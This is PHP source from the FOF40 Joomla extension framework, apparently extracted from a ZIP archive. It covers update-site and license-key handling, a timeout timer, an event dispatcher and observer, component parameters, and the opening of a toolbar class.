->select($db->qn('update_site_id')) ->from($db->qn('#__update_sites_extensions')) ->where($db->qn('extension_id') . ' = ' . $db->q($this->extension_id)); $db->setQuery($query); try { $ret = $db->loadColumn(0); } catch (Exception $e) { $ret = null; } return is_array($ret) ? $ret : []; } /** * Get the currently installed version as reported by the #__extensions table * * @return string */ public function getVersion(): string { return $this->version; } /** * Override the currently installed version as reported by the #__extensions table * * @param string $version */ public function setVersion(string $version): void { $this->version = $version; } /** * Refreshes the Joomla! update sites for this extension as needed * * @return void */ public function refreshUpdateSite(): void { if (empty($this->extension_id)) { return; } /** * Record whether I have made any changes to the update sites or the updates themselves so I can clear Joomla's * undocumented cache. */ $madeChanges = [ 'updateSites' => false, 'updates' => false, ]; /** * Create the update site definition we want to see in (or store into) the database. * * Since this is called primarily by our own software I am taking the liberty of setting up an extra_query if * none is provided. The code here will prefer a manually set up extra_query. If none is present we will create * one. There are two parts handled by $this->getExtraQueryString($this->getLicenseKey()). * * **License key**. On Joomla 3 we read it from the component's Options. On Joomla 4 we try to first read it * from the #__update_sites table and the extra_query format in the XML manifest. If either is not present we * will fall back to the component itself. * * **Extra query format**. We try to read the format from the XML manifest of the extension. If it's not set up * we fall back to the Akeeba-comaptible format dlid=YOUR_DOWNLOAD_ID_HERE. * * This provides maximum flexibility and works with both Joomla 4 and Joomla 3 equally. */ $update_site = [ 'name' => $this->updateSiteName, 'type' => 'extension', 'location' => $this->updateSite, 'enabled' => 1, 'last_check_timestamp' => 0, 'extra_query' => $this->extraQuery ?? $this->getExtraQueryString($this->getLicenseKey()), ]; // Get a reference to the db driver $db = $this->container->db; // Get the #__update_sites columns $columns = $db->getTableColumns('#__update_sites', true); if (!array_key_exists('extra_query', $columns)) { unset($update_site['extra_query']); } // Get the update sites for our extension $updateSiteIds = $this->getUpdateSiteIds(); if (empty($updateSiteIds)) { $updateSiteIds = []; } /** @var boolean $needNewUpdateSite Do I need to create a new update site? */ $needNewUpdateSite = true; /** @var int[] $deleteOldSites Old Site IDs to delete */ $deleteOldSites = []; // Loop through all update sites foreach ($updateSiteIds as $id) { $query = $db->getQuery(true) ->select('*') ->from($db->qn('#__update_sites')) ->where($db->qn('update_site_id') . ' = ' . $db->q($id)); $db->setQuery($query); $aSite = $db->loadObject(); if (empty($aSite)) { // Update site does not exist?! continue; } // We have an update site that looks like ours if ($needNewUpdateSite && ($aSite->name == $update_site['name']) && ($aSite->location == $update_site['location'])) { $needNewUpdateSite = false; $mustUpdate = false; // Is it enabled? If not, enable it. if (!$aSite->enabled) { $mustUpdate = true; $aSite->enabled = 1; } // Do we have the extra_query property (J 3.2+) and does it match? if (property_exists($aSite, 'extra_query') && isset($update_site['extra_query']) && ($aSite->extra_query != $update_site['extra_query'])) { $mustUpdate = true; $aSite->extra_query = $update_site['extra_query']; } // Update the update site if necessary if ($mustUpdate) { $madeChanges['updateSites'] = true; $db->updateObject('#__update_sites', $aSite, 'update_site_id', true); } // Make changes to any #__updates records linked to this update site ID $madeChanges['updates'] = $this->fixUpdates((int) $id, $aSite->extra_query); continue; } // In any other case we need to delete this update site, it's obsolete. $deleteOldSites[] = $aSite->update_site_id; } if (!empty($deleteOldSites)) { try { $obsoleteIDsQuoted = array_map([$db, 'quote'], $deleteOldSites); // Delete update sites $query = $db->getQuery(true) ->delete('#__update_sites') ->where($db->qn('update_site_id') . ' IN (' . implode(',', $obsoleteIDsQuoted) . ')'); $db->setQuery($query)->execute(); // Delete update sites to extension ID records $query = $db->getQuery(true) ->delete('#__update_sites_extensions') ->where($db->qn('update_site_id') . ' IN (' . implode(',', $obsoleteIDsQuoted) . ')'); $db->setQuery($query)->execute(); } catch (\Exception $e) { // Do nothing on failure } finally { $madeChanges['updateSites'] = true; } // Clear the caches for #__update_sites and #__updates if necessary if ($madeChanges['updateSites'] || $madeChanges['updates']) { CacheCleaner::clearCacheGroups([ '_system', 'com_installer', 'com_modules', 'com_plugins', 'mod_menu', ]); } } // Do we still need to create a new update site? if ($needNewUpdateSite) { // No update sites defined. Create a new one. $newSite = (object) $update_site; $db->insertObject('#__update_sites', $newSite); $id = $db->insertid(); $updateSiteExtension = (object) [ 'update_site_id' => $id, 'extension_id' => $this->extension_id, ]; $db->insertObject('#__update_sites_extensions', $updateSiteExtension); } // Finally, adopt my extensions $this->adoptMyExtensions(); } /** * Removes any update sites which go by the same name or the same location as our update site but do not match the * extension ID. */ public function removeObsoleteUpdateSites(): void { $db = $this->container->db; // Get update site IDs $updateSiteIDs = $this->getUpdateSiteIds(); // Find update sites where the name OR the location matches BUT they are not one of the update site IDs $query = $db->getQuery(true) ->select($db->qn('update_site_id')) ->from($db->qn('#__update_sites')) ->where( '((' . $db->qn('name') . ' = ' . $db->q($this->updateSiteName) . ') OR ' . '(' . $db->qn('location') . ' = ' . $db->q($this->updateSite) . '))' ); if (!empty($updateSiteIDs)) { $updateSitesQuoted = array_map([$db, 'quote'], $updateSiteIDs); $query->where($db->qn('update_site_id') . ' NOT IN (' . implode(',', $updateSitesQuoted) . ')'); } try { $ids = $db->setQuery($query)->loadColumn(); if (!empty($ids)) { $obsoleteIDsQuoted = array_map([$db, 'quote'], $ids); // Delete update sites $query = $db->getQuery(true) ->delete('#__update_sites') ->where($db->qn('update_site_id') . ' IN (' . implode(',', $obsoleteIDsQuoted) . ')'); $db->setQuery($query)->execute(); // Delete update sites to extension ID records $query = $db->getQuery(true) ->delete('#__update_sites_extensions') ->where($db->qn('update_site_id') . ' IN (' . implode(',', $obsoleteIDsQuoted) . ')'); $db->setQuery($query)->execute(); } } catch (\Exception $e) { // Do nothing on failure return; } } /** * Makes sure that the version number cached in the #__extensions table is consistent with the version number set in * this model. * * @return bool True if we updated the version number cached in the #__extensions table. * * @since 3.1.2 */ public function updatedCachedVersionNumber(): bool { $extension = $this->getExtensionObject(); if (!is_object($extension)) { return false; } $data = json_decode($extension->manifest_cache, true); $mustUpdate = true; if (isset($data['version'])) { $mustUpdate = $this->version != $data['version']; } if (!$mustUpdate) { return false; } // The cached version is wrong; let's update it $data['version'] = $this->version; $extension->manifest_cache = json_encode($data); $db = $this->container->db; return $db->updateObject('#__extensions', $extension, ['extension_id']); } /** * Returns an object with the #__extensions table record for the current extension. * * @return object|null */ public function getExtensionObject() { [$extensionPrefix, $extensionName] = explode('_', $this->component); switch ($extensionPrefix) { default: case 'com': $type = 'component'; $name = $this->component; break; case 'pkg': $type = 'package'; $name = $this->component; break; } // Find the extension ID $db = $this->container->db; $query = $db->getQuery(true) ->select('*') ->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q($type)) ->where($db->qn('element') . ' = ' . $db->q($name)); try { $db->setQuery($query); $extension = $db->loadObject(); } catch (Exception $e) { return null; } return $extension; } /** * Is the provided string a valid license key? * * YOU SHOULD OVERRIDE THIS METHOD. The default implementation checks for valid Download IDs in the format used by * Akeeba software. * * @param string $licenseKey * * @return bool */ public function isValidLicenseKey(string $licenseKey): bool { return preg_match('/^(\d{1,}:)?[0-9a-f]{32}$/i', $licenseKey) === 1; } /** * Sanitizes the license key. * * YOU SHOULD OVERRIDE THIS METHOD. The default implementation returns a lowercase string with all characters except * letters, numbers and colons removed. * * @param string $licenseKey * * @return string The sanitized license key */ public function sanitizeLicenseKey(string $licenseKey): string { return strtolower(preg_replace("/[^a-zA-Z0-9:]/", "", $licenseKey)); } /** * Adopt the extensions included in the package. * * This modifies the package_id column of the #__extensions table for the records of the extensions declared in the * new package's manifest. This allows you to use Discover to install new extensions without leaving them “orphan” * of a package in the #__extensions table, something which could cause problems when running Joomla! Update. * * @return void */ public function adoptMyExtensions(): void { // Get the extension ID of the new package $newPackageId = $this->extension_id; if (empty($newPackageId)) { return; } // Get the extension IDs $extensionIDs = array_map([$this, 'getExtensionId'], $this->getExtensionsFromPackage($this->component)); $extensionIDs = array_filter($extensionIDs, function ($x) { return !empty($x); }); if (empty($extensionIDs)) { return; } // Reassign all extensions $db = $this->container->db; $query = $db->getQuery(true) ->update($db->quoteName('#__extensions')) ->set($db->qn('package_id') . ' = ' . $db->q($newPackageId)) ->where($db->qn('extension_id') . 'IN(' . implode(', ', array_map([$db, 'q'], $extensionIDs)) . ')'); $db->setQuery($query)->execute(); } /** * Returns the extension ID for a Joomla extension given its name. * * This is deliberately public so that custom handlers can use it without having to reimplement it. * * @param string $extension The extension name, e.g. `plg_system_example`. * * @return int|null The extension ID or null if no such extension exists */ public function getExtensionId(string $extension): ?int { if (isset($this->extensionIds[$extension])) { return $this->extensionIds[$extension]; } $this->extensionIds[$extension] = null; $criteria = $this->extensionNameToCriteria($extension); if (empty($criteria)) { return $this->extensionIds[$extension]; } $db = $this->container->db; $query = $db->getQuery(true) ->select($db->quoteName('extension_id')) ->from($db->quoteName('#__extensions')); foreach ($criteria as $key => $value) { $query->where($db->qn($key) . ' = ' . $db->q($value)); } try { $this->extensionIds[$extension] = $db->setQuery($query)->loadResult(); } catch (\RuntimeException $e) { return null; } return $this->extensionIds[$extension]; } /** * Returns the component Options key which holds a copy of the license key * * @return string */ protected function getLegacyParamsKey(): string { if (!empty($this->paramsKey)) { return $this->paramsKey; } $this->paramsKey = 'update_dlid'; return $this->paramsKey; } /** * Extract the download ID from an extra_query based on the prefix and suffix information stored in the dlid element * of the extension's XML manifest file. * * @param string $extra_query * * @return string */ protected function getLicenseKeyFromExtraQuery(?string $extra_query): string { $extra_query = trim($extra_query ?? ''); if (empty($extra_query)) { return ''; } // Get the extension XML manifest. If the extension or the manifest don't exist return an empty string. $extension = $this->getExtensionObject(); if (!$extension) { return ''; } $installXmlFile = $this->getManifestXML( $extension->element, $extension->type, (int) $extension->client_id, $extension->folder ); if (!$installXmlFile) { return ''; } // If the manifest does not have a dlid element return an empty string. if (!isset($installXmlFile->dlid)) { return ''; } // Naive parsing of the extra_query, the same way Joomla does. $prefix = (string) $installXmlFile->dlid['prefix']; $suffix = (string) $installXmlFile->dlid['suffix']; $licenseKey = substr($extra_query, strlen($prefix)); if ($licenseKey === false) { return ''; } if ($suffix !== '') { $licenseKey = substr($licenseKey, 0, -strlen($suffix)); } return ($licenseKey === false) ? '' : $licenseKey; } /** * Get a legacy extra query string. Do NOT call this directly. Call getExtraQueryString() instead. * * YOU SHOULD OVERRIDE THIS METHOD. This returns dlid=SANITIZED_LICENSE_KEY which is what Akeeba Release System, * used to deliver all Akeeba extensions, expects. * * @param string $licenseKey The license key * * @return string The extra_query string to append to a download URL to implement the license key */ protected function getExtraQueryStringLegacy(string $licenseKey): string { if (empty($licenseKey) || !$this->isValidLicenseKey($licenseKey)) { return ''; } return 'dlid=' . $this->sanitizeLicenseKey($licenseKey); } /** * Get the manifest XML file of a given extension. * * @param string $element element of an extension * @param string $type type of an extension * @param integer $client_id client_id of an extension * @param string $folder folder of an extension * * @return SimpleXMLElement */ protected function getManifestXML(string $element, string $type, int $client_id = 1, ?string $folder = null): SimpleXMLElement { $path = ($client_id !== 0) ? JPATH_ADMINISTRATOR : JPATH_ROOT; switch ($type) { case 'component': $path .= '/components/' . $element . '/' . substr($element, 4) . '.xml'; break; case 'plugin': $path .= '/plugins/' . $folder . '/' . $element . '/' . $element . '.xml'; break; case 'module': $path .= '/modules/' . $element . '/' . $element . '.xml'; break; case 'template': $path .= '/templates/' . $element . '/templateDetails.xml'; break; case 'library': $path = JPATH_ADMINISTRATOR . '/manifests/libraries/' . $element . '.xml'; break; case 'file': $path = JPATH_ADMINISTRATOR . '/manifests/files/' . $element . '.xml'; break; case 'package': $path = JPATH_ADMINISTRATOR . '/manifests/packages/' . $element . '.xml'; } return simplexml_load_file($path); } /** * Fix updates Joomla has already found. * * Joomla sometimes has a stroke and clears the extra_query column of the #__update_sites. This means that it copies * over an empty extra_query to the #__updates table. Even though we have fixed the #__update_sites already, the * fact that it was previously broken means that Joomla STILL doesn't see the extra query for the udpates it has * already found, therefore trying to install them will fail with a 403 error. * * This method addresses this madness. It trawls the #__updates table for any updates already found with the given * update site ID and makes sure that their extra_query matches the one it should have been using. If not, it is * updated. * * If at least one update record has been updated it returns true so that refresh_update_site() can then clear the * undocumented query caches of Joomla. If we don't do that then EVEN THOUGH we have fixed BOTH the #__update_sites * AND the #__updates records for our extension Joomla would STILL fail to download the updates with a 403, since it * would be using the cached updates from the undocumented query cache. * * The fact that Joomla was trying to tell me that somehow it's my problem that it does all these stupid things is * unconscionable. Still, I am proving ONCE AGAIN that I can work around Joomla's major bugs, even the ones that are * left unfixed after a decade of me reporting them privately to the project. What's worse is that my public report * on March 6th, 2021 was met with open hostility and threats instead of the project writing the total of 10 lines * of code to address it. This is absolutely insane. No problem, though, here I am working around Joomla's bugs, as * I have been doing since 2006... * * @param int $updateSiteId * @param string|null $extraQuery * * @return bool */ private function fixUpdates(int $updateSiteId, ?string $extraQuery): bool { // Make sure the update site ID is valid. if ($updateSiteId <= 0) { return false; } // If the extra query is empty there's no reason for me to do anything. Bye! if (empty($extraQuery)) { return false; } // Try to get the update records. try { $db = $this->container->db; $query = $db->getQuery(true) ->select([ $db->qn('update_id'), $db->qn('extra_query'), ]) ->from($db->qn('#__updates')) ->where($db->qn('update_site_id') . ' = ' . $db->q($updateSiteId)); $updates = $db->setQuery($query)->loadObjectList(); } catch (Exception $e) { return false; } // Do I even have any udpates found...? if (empty($updates)) { return false; } // Process each udpate record. $madeChanges = false; foreach ($updates as $update) { // The extra query matches. Nothing to do here. if ($update->extra_query == $extraQuery) { continue; } try { $query = $db->getQuery(true) ->update($db->qn('#__updates')) ->set($db->qn('extra_query') . ' = ' . $db->q($extraQuery)) ->where($db->qn('update_id') . ' = ' . $db->q($update->update_id)); $db->setQuery($query)->execute(); } catch (Exception $e) { // Well, sometimes Joomla bites the bullet... continue; } } return $madeChanges; } /** * Get the list of extensions included in a package * * @param string $package * * @return array */ private function getExtensionsFromPackage(string $package): array { $extensions = []; $xml = $this->getPackageXMLManifest($package); if (is_null($xml)) { return $extensions; } foreach ($xml->xpath('//files/file') as $fileField) { $extension = $this->xmlNodeToExtensionName($fileField); if (is_null($extension)) { continue; } $extensions[] = $extension; } return $extensions; } /** * Gets a SimpleXMLElement representation of the cached manifest of the extension. * * @param string $package * * @return SimpleXMLElement|null */ private function getPackageXMLManifest(string $package): ?SimpleXMLElement { $filePath = $this->getCachedManifestPath($package); if (!@file_exists($filePath) || !@is_readable($filePath)) { return null; } $xmlContent = @file_get_contents($filePath); if (empty($xmlContent)) { return null; } return new SimpleXMLElement($xmlContent); } /** * Get the absolute filesystem path * * @param string $package * * @return string */ private function getCachedManifestPath(string $package): string { return JPATH_MANIFESTS . '/packages/' . $package . '.xml'; } /** * Take a SimpleXMLElement `<file>` node of the package manifest and return the corresponding Joomla extension name * * @param SimpleXMLElement $fileField The `<file>` node of the package manifest * * @return string|null The extension name, null if it cannot be determined. */ private function xmlNodeToExtensionName(SimpleXMLElement $fileField): ?string { $type = (string) $fileField->attributes()->type; $id = (string) $fileField->attributes()->id; switch ($type) { case 'component': case 'file': case 'library': $extension = $id; break; case 'plugin': $group = (string) $fileField->attributes()->group ?? 'system'; $extension = 'plg_' . $group . '_' . $id; break; case 'module': $client = (string) $fileField->attributes()->client ?? 'site'; $extension = (($client != 'site') ? 'a' : '') . $id; break; default: $extension = null; break; } return $extension; } /** * Convert a Joomla extension name to `#__extensions` table query criteria. * * The following kinds of extensions are supported: * * `pkg_something` Package type extension * * `com_something` Component * * `plg_folder_something` Plugins * * `mod_something` Site modules * * `amod_something` Administrator modules. THIS IS CUSTOM. * * `file_something` File type extension * * `lib_something` Library type extension * * @param string $extensionName * * @return string[] */ private function extensionNameToCriteria(string $extensionName): array { $parts = explode('_', $extensionName, 3); switch ($parts[0]) { case 'pkg': return [ 'type' => 'package', 'element' => $extensionName, ]; case 'com': return [ 'type' => 'component', 'element' => $extensionName, ]; case 'plg': return [ 'type' => 'plugin', 'folder' => $parts[1], 'element' => $parts[2], ]; case 'mod': return [ 'type' => 'module', 'element' => $extensionName, 'client_id' => 0, ]; // That's how we note admin modules case 'amod': return [ 'type' => 'module', 'element' => substr($extensionName, 1), 'client_id' => 1, ]; case 'file': return [ 'type' => 'file', 'element' => $extensionName, ]; case 'lib': return [ 'type' => 'library', 'element' => $parts[1], ]; } return []; } } PK���\րB���fof40/Timer/Timer.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Timer; defined('_JEXEC') || die; /** * Timeout prevention timer */ class Timer { /** * Maximum execution time allowance per step * * @var integer */ private $max_exec_time; /** * Timestamp of execution start * * @var integer */ private $start_time; /** * Public constructor, creates the timer object and calculates the execution * time limits. * * @param integer $max_exec_time Maximum execution time, in seconds * @param integer $runtime_bias Runtime bias factor, as percent points of the max execution time * */ public function __construct(int $max_exec_time = 5, int $runtime_bias = 75) { // Initialize start time $this->start_time = microtime(true); $this->max_exec_time = $max_exec_time * $runtime_bias / 100; } /** * Wake-up function to reset internal timer when we get unserialized * * @return void */ public function __wakeup() { // Re-initialize start time on wake-up $this->start_time = microtime(true); } /** * Gets the number of seconds left, before we hit the "must break" threshold * * @return float */ public function getTimeLeft(): float { return $this->max_exec_time - $this->getRunningTime(); } /** * Gets the time elapsed since object creation/unserialization, effectively * how long this step is running * * @return float */ public function getRunningTime(): float { return microtime(true) - $this->start_time; } /** * Reset the timer * * @return void */ public function resetTime(): void { $this->start_time = microtime(true); } } PK���\�N� ��fof40/Event/Observable.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Event; defined('_JEXEC') || die; /** * Interface Observable * * @codeCoverageIgnore */ interface Observable { /** * Attaches an observer to the object * * @param Observer $observer The observer to attach * * @return static Ourselves, for chaining */ public function attach(Observer $observer); /** * Detaches an observer from the object * * @param Observer $observer The observer to detach * * @return static Ourselves, for chaining */ public function detach(Observer $observer); /** * Triggers an event in the attached observers * * @param string $event The event to attach * @param array $args Arguments to the event handler * * @return array */ public function trigger(string $event, array $args = []): array; } PK���\V-�ggfof40/Event/Dispatcher.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Event; defined('_JEXEC') || die; use FOF40\Container\Container; class Dispatcher implements Observable { /** @var Container The container this event dispatcher is attached to */ protected $container; /** @var array The observers attached to the dispatcher */ protected $observers = []; /** @var array Maps events to observers */ protected $events = []; /** * Public constructor * * @param Container $container The container this event dispatcher is attached to */ public function __construct(Container $container) { $this->container = $container; } /** * Returns the container this event dispatcher is attached to * * @return Container */ public function getContainer(): Container { return $this->container; } /** * Attaches an observer to the object * * @param Observer $observer The observer to attach * * @return static Ourselves, for chaining */ public function attach(Observer $observer) { $className = get_class($observer); // Make sure this observer is not already registered if (isset($this->observers[$className])) { return $this; } // Attach observer $this->observers[$className] = $observer; // Register the observable events $events = $observer->getObservableEvents(); foreach ($events as $event) { $event = strtolower($event); if (!isset($this->events[$event])) { $this->events[$event] = [$className]; } else { $this->events[$event][] = $className; } } return $this; } /** * Detaches an observer from the object * * @param Observer $observer The observer to detach * * @return static Ourselves, for chaining */ public function detach(Observer $observer) { $className = get_class($observer); // Make sure this observer is already registered if (!isset($this->observers[$className])) { return $this; } // Unregister the observable events $events = $observer->getObservableEvents(); foreach ($events as $event) { $event = strtolower($event); if (isset($this->events[$event])) { $key = array_search($className, $this->events[$event]); if ($key !== false) { unset($this->events[$event][$key]); if (empty($this->events[$event])) { unset ($this->events[$event]); } } } } // Detach observer unset($this->observers[$className]); return $this; } /** * Is an observer object already registered with this dispatcher? * * @param Observer $observer The observer to check if it's attached * * @return boolean */ public function hasObserver(Observer $observer): bool { $className = get_class($observer); return $this->hasObserverClass($className); } /** * Is there an observer of the specified class already registered with this dispatcher? * * @param string $className The observer class name to check if it's attached * * @return boolean */ public function hasObserverClass(string $className): bool { return isset($this->observers[$className]); } /** * Returns an observer attached to this behaviours dispatcher by its class name * * @param string $className The class name of the observer object to return * * @return null|Observer */ public function getObserverByClass(string $className): ?Observer { if (!$this->hasObserverClass($className)) { return null; } return $this->observers[$className]; } /** * Triggers an event in the attached observers * * @param string $event The event to attach * @param array $args Arguments to the event handler * * @return array */ public function trigger(string $event, array $args = []): array { $event = strtolower($event); $result = []; // Make sure the event is known to us, otherwise return an empty array if (!isset($this->events[$event]) || empty($this->events[$event])) { return $result; } foreach ($this->events[$event] as $className) { // Make sure the observer exists. if (!isset($this->observers[$className])) { continue; } // Get the observer $observer = $this->observers[$className]; // Make sure the method exists if (!method_exists($observer, $event)) { continue; } $result[] = $observer->{$event}(...$args); } // Return the observers' result in an array return $result; } /** * Asks each observer to handle an event based on the provided arguments. The first observer to return a non-null * result wins. This is a *very* simplistic implementation of the Chain of Command pattern. * * @param string $event The event name to handle * @param array $args The arguments to the event * * @return mixed Null if the event can't be handled by any observer */ public function chainHandle(string $event, array $args = []) { $event = strtolower($event); $result = null; // Make sure the event is known to us, otherwise return an empty array if (!isset($this->events[$event]) || empty($this->events[$event])) { return $result; } foreach ($this->events[$event] as $className) { // Make sure the observer exists. if (!isset($this->observers[$className])) { continue; } // Get the observer $observer = $this->observers[$className]; // Make sure the method exists if (!method_exists($observer, $event)) { continue; } // Call the event handler and add its output to the return value. The switch allows for execution up to 2x // faster than using call_user_func_array switch (count($args)) { case 0: $result = $observer->{$event}(); break; case 1: $result = $observer->{$event}($args[0]); break; case 2: $result = $observer->{$event}($args[0], $args[1]); break; case 3: $result = $observer->{$event}($args[0], $args[1], $args[2]); break; case 4: $result = $observer->{$event}($args[0], $args[1], $args[2], $args[3]); break; case 5: $result = $observer->{$event}($args[0], $args[1], $args[2], $args[3], $args[4]); break; default: $result = call_user_func_array([$observer, $event], $args); break; } if (!is_null($result)) { return $result; } } // Return the observers' result in an array return $result; } } PK���\*t!���fof40/Event/Observer.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Event; defined('_JEXEC') || die; use ReflectionMethod; use ReflectionObject; class Observer { /** @var Observable The object to observe */ protected $subject; protected $events; /** * Creates the observer and attaches it to the observable subject object * * @param Observable $subject The observable object to attach the observer to */ function __construct(Observable &$subject) { // Attach this observer to the subject $subject->attach($this); // Store a reference to the subject object $this->subject = $subject; } /** * Returns the list of events observable by this observer. Set the $this->events array manually for faster * processing, or let this method use reflection to return a list of all public methods. * * @return array */ public function getObservableEvents() { if (is_null($this->events)) { // Assign an empty array to protect us from behaviours without any valid method $this->events = []; $reflection = new ReflectionObject($this); $methods = $reflection->getMethods(ReflectionMethod::IS_PUBLIC); foreach ($methods as $m) { if ($m->name == 'getObservableEvents') { continue; } if ($m->name == '__construct') { continue; } $this->events[] = $m->name; } } return $this->events; } } PK���\�ؘ���fof40/Params/Params.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Params; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\JoomlaAbstraction\CacheCleaner; /** * A helper class to quickly get the component parameters */ class Params { /** @var Container The container we belong to */ protected $container; /** * Cached component parameters * * @var \Joomla\Registry\Registry */ private $params; /** * Public constructor for the params object * * @param \FOF40\Container\Container $container The container we belong to */ public function __construct(Container $container) { $this->container = $container; $this->reload(); } /** * Reload the params */ public function reload(): void { $db = $this->container->db; $sql = $db->getQuery(true) ->select($db->qn('params')) ->from($db->qn('#__extensions')) ->where($db->qn('type') . " = " . $db->q('component')) ->where($db->qn('element') . " = " . $db->q($this->container->componentName)); $json = $db->setQuery($sql)->loadResult(); $this->params = new \Joomla\Registry\Registry($json); } /** * Returns the value of a component configuration parameter * * @param string $key The parameter to get * @param mixed $default Default value * * @return mixed */ public function get(string $key, $default = null) { return $this->params->get($key, $default); } /** * Returns a copy of the loaded component parameters as an array * * @return array */ public function getParams(): array { return $this->params->toArray(); } /** * Sets the value of multiple component configuration parameters at once * * @param array $params The parameters to set * * @return void */ public function setParams(array $params): void { foreach ($params as $key => $value) { $this->params->set($key, $value); } } /** * Sets the value of a component configuration parameter * * @param string $key The parameter to set * @param mixed $value The value to set * * @return void */ public function set(string $key, $value) { $this->setParams([$key => $value]); } /** * Actually Save the params into the db */ public function save(): void { $db = $this->container->db; $data = $this->params->toString(); $sql = $db->getQuery(true) ->update($db->qn('#__extensions')) ->set($db->qn('params') . ' = ' . $db->q($data)) ->where($db->qn('element') . ' = ' . $db->q($this->container->componentName)) ->where($db->qn('type') . ' = ' . $db->q('component')); $db->setQuery($sql); try { $db->execute(); // The component parameters are cached. We just changed them. Therefore we MUST reset the system cache which holds them. CacheCleaner::clearCacheGroups(['_system'], $this->container->platform->isBackend() ? [0] : [1]); } catch (\Exception $e) { // Don't sweat if it fails } } } PK���\hD�Q�u�ufof40/Toolbar/Toolbar.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Toolbar; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Controller\Controller; use FOF40\Toolbar\Exception\MissingAttribute; use FOF40\Toolbar\Exception\UnknownButtonType; use FOF40\View\DataView\DataViewInterface; use FOF40\View\View; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Toolbar\ToolbarHelper as JoomlaToolbarHelper; use Joomla\Utilities\ArrayHelper; /** * The Toolbar class renders the back-end component title area and the back- * and front-end toolbars. * * @since 1.0 */ class Toolbar { /** @var array Permissions map, see the __construct method for more information */ public $perms = []; /** @var Container Component container */ protected $container; /** @var array The links to be rendered in the toolbar */ protected $linkbar = []; /** @var bool Should I render the submenu in the front-end? */ protected $renderFrontendSubmenu = false; /** @var bool Should I render buttons in the front-end? */ protected $renderFrontendButtons = false; /** @var bool Should I use the configuration file (fof.xml) of the component? */ protected $useConfigurationFile = false; /** @var null|bool Are we rendering a data-aware view? */ protected $isDataView; /** * Public constructor. * * The $config array can contain the following optional values: * * renderFrontendButtons bool Should I render buttons in the front-end of the component? * renderFrontendSubmenu bool Should I render the submenu in the front-end of the component? * useConfigurationFile bool Should we use the configuration file (fof.xml) of the component? * * @param Container $c The container for the component * @param array $config The configuration overrides, see above */ public function __construct(Container $c, array $config = []) { // Store the container reference in this object $this->container = $c; // Get a reference to some useful objects $input = $this->container->input; $platform = $this->container->platform; // Get default permissions (can be overridden by the view) $perms = (object) [ 'manage' => $this->container->platform->authorise('core.manage', $input->getCmd('option', 'com_foobar')), 'create' => $this->container->platform->authorise('core.create', $input->getCmd('option', 'com_foobar')), 'edit' => $this->container->platform->authorise('core.edit', $input->getCmd('option', 'com_foobar')), 'editstate' => $this->container->platform->authorise('core.edit.state', $input->getCmd('option', 'com_foobar')), 'delete' => $this->container->platform->authorise('core.delete', $input->getCmd('option', 'com_foobar')), ]; // Save front-end toolbar and submenu rendering flags if present in the config if (array_key_exists('renderFrontendButtons', $config)) { $this->renderFrontendButtons = $config['renderFrontendButtons']; } if (array_key_exists('renderFrontendSubmenu', $config)) { $this->renderFrontendSubmenu = $config['renderFrontendSubmenu']; } // If not in the administrative area, load the JoomlaToolbarHelper if (!$platform->isBackend()) { // Needed for tests, so we can inject our "special" helper class if (!class_exists('\Joomla\CMS\Toolbar\Toolbar')) { $platformDirs = $platform->getPlatformBaseDirs(); $path = $platformDirs['root'] . '/administrator/includes/toolbar.php'; require_once $path; } // Things to do if we have to render a front-end toolbar if ($this->renderFrontendButtons) { // Load back-end toolbar language files in front-end $platform->loadTranslations(''); // Needed for tests (we can fake we're not in the backend, but we are still in CLI!) if (!$platform->isCli()) { // Load the core Javascript HTMLHelper::_('behavior.core'); HTMLHelper::_('jquery.framework', true); } } } // Store permissions in the local toolbar object $this->perms = $perms; } /** * Renders the toolbar for the current view and task * * @param string|null $view The view of the component * @param string|null $task The exact task of the view * * @return void */ public function renderToolbar(?string $view = null, ?string $task = null): void { $input = $this->container->input; $render_toolbar = $input->getCmd('tmpl', '') != 'component'; // If there is a render_toolbar=0 in the URL, do not render a toolbar $render_toolbar = $input->getBool('render_toolbar', $render_toolbar); if (!$render_toolbar) { return; } // Get the view and task $controller = $this->container->dispatcher->getController(); $autoDetectedView = 'cpanel'; $autoDetectedTask = 'main'; if (is_object($controller) && ($controller instanceof Controller)) { $autoDetectedView = $controller->getName(); $autoDetectedTask = $controller->getTask(); } if (empty($view)) { $view = $input->getCmd('view', $autoDetectedView); } if (empty($task)) { $task = $input->getCmd('task', $autoDetectedTask); } // If there is a fof.xml toolbar configuration use it and return $view = $this->container->inflector->pluralize($view); $toolbarConfig = $this->container->appConfig->get('views.' . ucfirst($view) . '.toolbar.' . $task); $oldValues = [ 'renderFrontendButtons' => $this->renderFrontendButtons, 'renderFrontendSubmenu' => $this->renderFrontendSubmenu, 'useConfigurationFile' => $this->useConfigurationFile, ]; $newValues = [ 'renderFrontendButtons' => $this->container->appConfig->get( 'views.' . ucfirst($view) . '.config.renderFrontendButtons', $oldValues['renderFrontendButtons'] ), 'renderFrontendSubmenu' => $this->container->appConfig->get( 'views.' . ucfirst($view) . '.config.renderFrontendSubmenu', $oldValues['renderFrontendSubmenu'] ), 'useConfigurationFile' => $this->container->appConfig->get( 'views.' . ucfirst($view) . '.config.useConfigurationFile', $oldValues['useConfigurationFile'] ), ]; foreach ($newValues as $k => $v) { $this->$k = $v; } if (!empty($toolbarConfig) && $this->useConfigurationFile) { 